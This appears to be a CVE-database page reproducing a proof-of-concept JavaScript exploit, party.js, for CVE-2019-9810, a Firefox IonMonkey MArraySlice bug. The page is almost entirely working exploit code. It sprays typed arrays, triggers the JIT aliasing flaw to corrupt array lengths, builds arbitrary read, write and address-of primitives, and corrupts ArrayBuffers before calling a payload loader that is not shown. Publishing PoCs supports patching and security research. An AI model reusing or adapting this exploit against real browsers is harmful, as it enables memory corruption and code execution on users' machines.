5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / party.js JS
// Axel '0vercl0k' Souchet - 27 April 2019
// CVE-2019-9810 - IonMonkey MArraySlice incorrect alias information
// The issue has been found by Amat Cama and Richard Zhu for compromising Mozilla Firefox
// during Pwn2Own2019.
//

const Debug = false;
const dbg = p => {
    if(Debug == false) {
        return;
    }

    print('Debug: ' + p);
};

const ArraySize = 0x5;
const WantedArraySize = 0x42424242;

let arr = null;
let Trigger = false;
const Spray = [];

function f(Special, Idx, Value) {
    arr[Idx] = 0x41414141;
    Special.slice();
    arr[Idx] = Value;
}

class SoSpecial extends Array {
    static get [Symbol.species]() {
        return function() {
            if(!Trigger) {
                return;
            }

            arr.length = 0;
            for(let i = 0; i < 0x40000; i++) {
                Spray.push(new Uint32Array(ArraySize));
            }
        };
    }
};

function get_me_biggie() {
    for(let Idx = 0; Idx < 0x1000; Idx++) {
        Spray.push(new Uint32Array(ArraySize));
    }

    const SpecialSnowFlake = new SoSpecial();
    for(let Idx = 0; Idx < 10; Idx++) {
        arr = new Array(0x7e);
        Trigger = false;
        for(let Idx = 0; Idx < 0x400; Idx++) {
            f(SpecialSnowFlake, 0x70, Idx);
        }

        Trigger = true;
        f(SpecialSnowFlake, 47, WantedArraySize);
        if(arr.length != 0) {
            continue;
        }

        const Biggie = Spray.find(e => e.length != ArraySize);
        if(Biggie != null) {
            return Biggie;
        }
    }

    return null;
}

BigInt.fromBytes = Bytes => {
    let Int = BigInt(0);
    for(const Byte of Bytes.reverse()) {
        Int = (Int << 8n) | BigInt(Byte);
    }
    return Int;
};

BigInt.toBytes = Addr => {
    let Remainder = Addr;
    const Bytes = [];
    while(Remainder != 0) {
        const Low = Remainder & 0xffn;
        Remainder = Remainder >> 8n;
        Bytes.push(Number(Low));
    }

    //
    // Pad it if we need to do so.
    //

    if(Bytes.length < 8) {
        while(Bytes.length != 8) {
            Bytes.push(0);
        }
    }

    return Bytes;
};

BigInt.fromUint32s = Uint32s => {
    let Int = BigInt(0);
    for(const Uint32 of Uint32s.reverse()) {
        Int = (Int << 32n) | BigInt(Uint32);
    }
    return Int;
};

BigInt.fromJSValue = Addr => {
    return Addr & 0x0000ffffffffffffn;
};

function main(LoadedFromBrowser) {
    if(LoadedFromBrowser) {
        print = p => {
            console.log(p);
        };
    }

    const Biggie = get_me_biggie();
    if(Biggie == null || Biggie.length != WantedArraySize) {
        dbg('Failed :-(, reloading..');
        location.reload();
        return;
    }

    //
    // Scan for one of the Uint32Array we sprayed earlier.
    //

    let Biggie2AdjacentSize = null;
    const JSValueArraySize = 0xfffa000000000000n | BigInt(ArraySize);
    for(let Idx = 0; Idx < 0x100; Idx++) {
        const Qword = BigInt(Biggie[Idx]) << 32n | BigInt(Biggie[Idx + 1]);
        if(Qword == JSValueArraySize) {
            Biggie2AdjacentSize = Idx + 1;
            break;
        }
    }

    if(Biggie2AdjacentSize == null) {
        dbg('Failed to find an adjacent array :(.');
        return;
    }

    //
    // Use the array length as a marker.
    //

    const AdjacentArraySize = 0xbbccdd;
    Biggie[Biggie2AdjacentSize] = AdjacentArraySize;

    //
    // Find the array now..
    //

    const AdjacentArray = Spray.find(
        e => e.length == AdjacentArraySize
    );

    if(AdjacentArray == null) {
        dbg('Failed to find the corrupted adjacent array :(.');
        return;
    }

    const Read64 = Addr => {
        const SizeInDwords = 2;
        Biggie[Biggie2AdjacentSize] = SizeInDwords;
        Biggie[Biggie2AdjacentSize + 2 + 2] = Number(Addr & 0xffffffffn);
        Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = Number(Addr >> 32n);
        return BigInt.fromUint32s([AdjacentArray[0], AdjacentArray[1]]);
    };

    const Write64 = (Addr, Value) => {
        const SizeInDwords = 2;
        Biggie[Biggie2AdjacentSize] = SizeInDwords;
        Biggie[Biggie2AdjacentSize + 2 + 2] = Number(Addr & 0xffffffffn);
        Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = Number(Addr >> 32n);
        AdjacentArray[0] = Number(Value & 0xffffffffn);
        AdjacentArray[1] = Number(Value >> 32n);
        return true;
    };

    const AddrOf = Obj => {
        AdjacentArray.hell_on_earth = Obj;
        // 0:000> dqs 1ae5716e76a0
        // 00001ae5`716e76a0  00001ae5`7167dfd0
        // 00001ae5`716e76a8  000010c5`8e73c6a0
        // 00001ae5`716e76b0  00000238`9334e790
        // 00001ae5`716e76b8  00007ff6`6be55010 js!emptyElementsHeader+0x10
        // 00001ae5`716e76c0  fffa0000`00000000
        // 00001ae5`716e76c8  fff88000`00bbccdd
        // 0:000> !telescope 0x00002389334e790
        // 0x000002389334e790|+0x0000: 0xfffe1ae5716e7640 (Unknown)
        const SlotOffset = Biggie2AdjacentSize - (3 * 2);
        const SlotsAddress = BigInt.fromUint32s(
            Biggie.slice(SlotOffset, SlotOffset + 2)
        );
        return BigInt.fromJSValue(Read64(SlotsAddress));
    };

    //
    // Let's move the battle field to the TenuredHeap
    //

    const AB1 = new ArrayBuffer(10);
    const AB2 = new ArrayBuffer(10);
    const AB1Address = AddrOf(AB1);
    const AB2Address = AddrOf(AB2);

    dbg('AddrOf(AB1): ' + AB1Address.toString(16));
    dbg('AddrOf(AB2): ' + AB2Address.toString(16));
    Write64(AB1Address + 0x28n, 0xfff8800000010000n);
    Write64(AB2Address + 0x28n, 0xfff8800000010000n);

    if(AB1.byteLength != AB2.byteLength && AB1.byteLength != 0x10000) {
        dbg('Corrupting the ArrayBuffers failed :(.');
        return;
    }

    //
    // From there, we're kinda done - just reusing a bunch of stuff I have already
    // wrote for blazefox.
    //

    if(!LoadedFromBrowser) {
        load('payload.js');
        load('toolbox.js');
    }

    Pwn(AB1, AB2);
}

try {
    document;
} catch(e) {
    main(false);
}